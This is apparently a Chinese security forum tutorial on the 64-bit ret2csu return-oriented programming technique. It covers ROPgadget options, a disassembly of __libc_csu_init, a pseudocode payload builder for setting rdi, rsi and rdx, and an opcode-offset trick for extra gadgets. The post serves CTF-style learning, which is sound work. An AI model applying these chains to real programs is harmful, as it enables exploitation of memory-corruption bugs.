首页
社区
课程
招聘
[分享]利用__libc_csu_init控制64位寄存器
2021-10-5 20:37 26382

[分享]利用__libc_csu_init控制64位寄存器

2021-10-5 20:37
26382

目录

利用ROPgadget寻找ROP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
usage: ROPgadget.py [-h] [-v] [-c] [--binary <binary>] [--opcode <opcodes>]
                    [--string <string>] [--memstr <string>] [--depth <nbyte>]
                    [--only <key>] [--filter <key>] [--range <start-end>]
                    [--badbytes <byte>] [--rawArch <arch>] [--rawMode <mode>]
                    [--rawEndian <endian>] [--re <re>] [--offset <hexaddr>]
                    [--ropchain] [--thumb] [--console] [--norop] [--nojop]
                    [--callPreceded] [--nosys] [--multibr] [--all] [--noinstr]
                    [--dump]
参数
    -h, --help           显示帮助文档
    -v, --version        版本号
    -c, --checkUpdate    检测新版本是否可用
    --binary <binary>    指定二进制文件进行分析
    --opcode <opcodes>   在可执行段中查找opcode
    --string <string>    在可读的段中查找字符串
    --memstr <string>    查找单个byte在所有的可执行段中
    --depth <nbyte>      搜索引擎的深度
    --only <key>         只显示特别的指令
    --filter <key>       过滤特定指令
    --range <start-end>  在地址之间寻找(0x...-0x...)
    --badbytes <byte>    拒绝特定指令在gadget的地址下
    --rawArch <arch>     指定文件架构
    --rawMode <mode>     指定源文件的mode
    --rawEndian <endian> 指定源文件的endianness
    --re <re>            正则表达式
    --offset <hexaddr>   指定gadget的地址偏移
    --ropchain           ROP chain的生成
    --thumb              在ARM架构下使用搜索引擎thumb 模式
    --console            使用交互终端对于搜索引擎
    --norop              禁止ROP搜索引擎
    --nojop              禁止JOP搜索引擎
    --callPreceded       仅显示call-preceded的gadgets
    --nosys              禁止SYS搜索引擎
    --multibr            允许多分枝gadgets
    --all                禁止删除重复的gadgets,即显示所有
    --noinstr            禁止gadget指令终端打印
    --dump               输出gadget bytes

举个栗子
图片描述
但是对于64位的来说 ROPgadget预设的长度是不够的
所以 我们可以使用ROPgadget --binary ./b --depth 100来加深他的搜索深度
图片描述

利用_libc_csu_init制造ROP

常规方法

我们前面说的利用ROPgadget来寻找,大多都是找到直接设置某个寄存器的rop,当然也可以使用--ropchain这个参数
下面看看利用_libc_csu_init制造rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
  ; void _libc_csu_init(void)
.text:0000000000400650                                         public __libc_csu_init
.text:0000000000400650                         __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400650                         ; __unwind {
.text:0000000000400650 41 57                                   push    r15
.text:0000000000400652 41 89 FF                                mov     r15d, edi
.text:0000000000400655 41 56                                   push    r14
.text:0000000000400657 49 89 F6                                mov     r14, rsi
.text:000000000040065A 41 55                                   push    r13
.text:000000000040065C 49 89 D5                                mov     r13, rdx
.text:000000000040065F 41 54                                   push    r12
.text:0000000000400661 4C 8D 25 D8 01 20 00                    lea     r12, __frame_dummy_init_array_entry
.text:0000000000400668 55                                      push    rbp
.text:0000000000400669 48 8D 2D D8 01 20 00                    lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:0000000000400670 53                                      push    rbx
.text:0000000000400671 4C 29 E5                                sub     rbp, r12
.text:0000000000400674 31 DB                                   xor     ebx, ebx
.text:0000000000400676 48 C1 FD 03                             sar     rbp, 3
.text:000000000040067A 48 83 EC 08                             sub     rsp, 8
.text:000000000040067E E8 FD FD FF FF                          call    _init_proc
.text:0000000000400683 48 85 ED                                test    rbp, rbp
.text:0000000000400686 74 1E                                   jz      short loc_4006A6
.text:0000000000400688 0F 1F 84 00 00 00 00 00                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400690
.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]
.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690
.text:00000000004006A6
.text:00000000004006A6                         loc_4006A6:                             ; CODE XREF: __libc_csu_init+36↑j
.text:00000000004006A6 48 83 C4 08                             add     rsp, 8
.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12
.text:00000000004006AE 41 5D                                   pop     r13
.text:00000000004006B0 41 5E                                   pop     r14
.text:00000000004006B2 41 5F                                   pop     r15
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4                         __libc_csu_init endp

这里我们首先可以利用的点:
从0x00000000004006AA一直到结尾,我们可以利用溢出构造栈上数据来控制rbx、rbp、r12、r13、r14、r15寄存器的数据。如下:

1
2
3
4
5
6
7
8
9
.text:00000000004006AA 5B                                      pop     rbx
.text:00000000004006AB 5D                                      pop     rbp
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4                         __libc_csu_init endp

另外,我们可以从0x0000000000400690到0x0000000000400696,将r13赋值给rdx、将r14赋值给rsi、将r15d赋值给edi,但在调试的过程中,会发现rdi的高32位置0,所以我们可以控制rdx、rsi、rdi,我们可以利用上面的控制r12、rbx(r12=addr rbx=0)来控制跳转地址,我们也可以(r12=0,rbx=0)实现不跳转到其他地方

1
2
3
4
5
.text:0000000000400690                         loc_400690:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 4C 89 EA                                mov     rdx, r13
.text:0000000000400693 4C 89 F6                                mov     rsi, r14
.text:0000000000400696 44 89 FF                                mov     edi, r15d
.text:0000000000400699 41 FF 14 DC                             call    ds:(__frame_dummy_init_array_entry - 600840h)[r12+rbx*8]

从0x000000000040069D到0x00000000004006A4,我们可以控制rbx与rbp的关系为rbx + 1 = rbp,这样我们就不会重复执行上面的loc_400690了,如果要串起来,rbx=0 rbp=1

1
2
3
.text:000000000040069D 48 83 C3 01                             add     rbx, 1
.text:00000000004006A1 48 39 EB                                cmp     rbx, rbp
.text:00000000004006A4 75 EA                                   jnz     short loc_400690

总结一下上面的常规利用方法的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
gadget1 = 0x04006AA
gadget2 = 0x0400690
 
//控制rbx、rbp、r12、r13、r14、r15
csu_end(rbx,rbp,r12,r13,r14,r15):
    payload = p64(rbx)+p64(rbp)+r64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(gadget1)
    return payload
 
//如果要跳转到另外一个地址就传入地址 不跳转直接缺省
//addr1是中途可以跳转的地址 addr2是最后可以跳转的地址
//控制rdx、rsi、rdi
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+'a'*(8*6+0x8)+p64(addr2)//0x8是填充原来的 8*6实际是csu_end的六个地址
    return payload
//addr1设置成需要跳转的地址 addr2设置成gadget2 可以进行一个循环的利用
payload = csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)
payload+= csu_init1(rdx,rsi,rdi,addr1=target_addr,addr2=gadget2)
 
//当然你可以把上面的8*6改换成rbx、rbp、r12、r13、r14、r15,
csu_init1(rdx,rsi,rdi,addr1 = 0,addr2=deadbeef,rbx,rbp,r12,r13,r14,r15):
    payload = csu_end(0,1,addr1,rdx,rsi,rdi)
    payload+= p64(gadget2)+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+'a'*(0x8)+p64(addr2)
    return payload
//我记得这个可以用来绕过沙箱,但那个题我找不到了 当然用其他gadget也可以

opcode

上面说的是一个常规的用法,还有一种用法是关于opcode的

1
2
3
4
5
6
7
8
9
.text:00000000004006AA 5B                                      pop     rbx(=>0)
.text:00000000004006AB 5D                                      pop     rbp (=>1)
.text:00000000004006AC 41 5C                                   pop     r12 (=>call addr)
.text:00000000004006AE 41 5D                                   pop     r13 (=>rdx)
.text:00000000004006B0 41 5E                                   pop     r14 (=>rsi)
.text:00000000004006B2 41 5F                                   pop     r15 (=>rdi)
.text:00000000004006B4 C3                                      retn
.text:00000000004006B4                         ; } // starts at 400650
.text:00000000004006B4                         __libc_csu_init endp

pop rbx -------> 5B
pop rbp -------> 5D
pop r12 -------> 41 5C
pop r13 -------> 41 5D
pop r14 -------> 41 5E
pop r15 -------> 41 5F

 

是的,pop r13只比pop rbp多一个41,其他的寄存器也是一样的

pop r12 -------> pop rsp
pop r13 -------> pop rbp
pop r14 -------> pop rsi
pop r15 -------> pop rdi

 

这一下,我们现在就可以增加控制3个寄存器了,现在我们可以控制rbx、rbp、r12、r13、r14、r15、rdx、rsi、rdi、rsp、rsi,但是似乎不可能有什么要同时控制这么多寄存器的,写出来脚本也没有什么意义

其他控制寄存器的方法

控制rax

  • gets、fgets回传buff(rax=rdi)
  • strcpy,strncpy
  • alarm

控制rcx

  • strcpy可能会让ecx = 输入字串

有些函数的返回值可能会影响寄存器,这些地方还是比较隐蔽的

参考

ctf-wiki


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回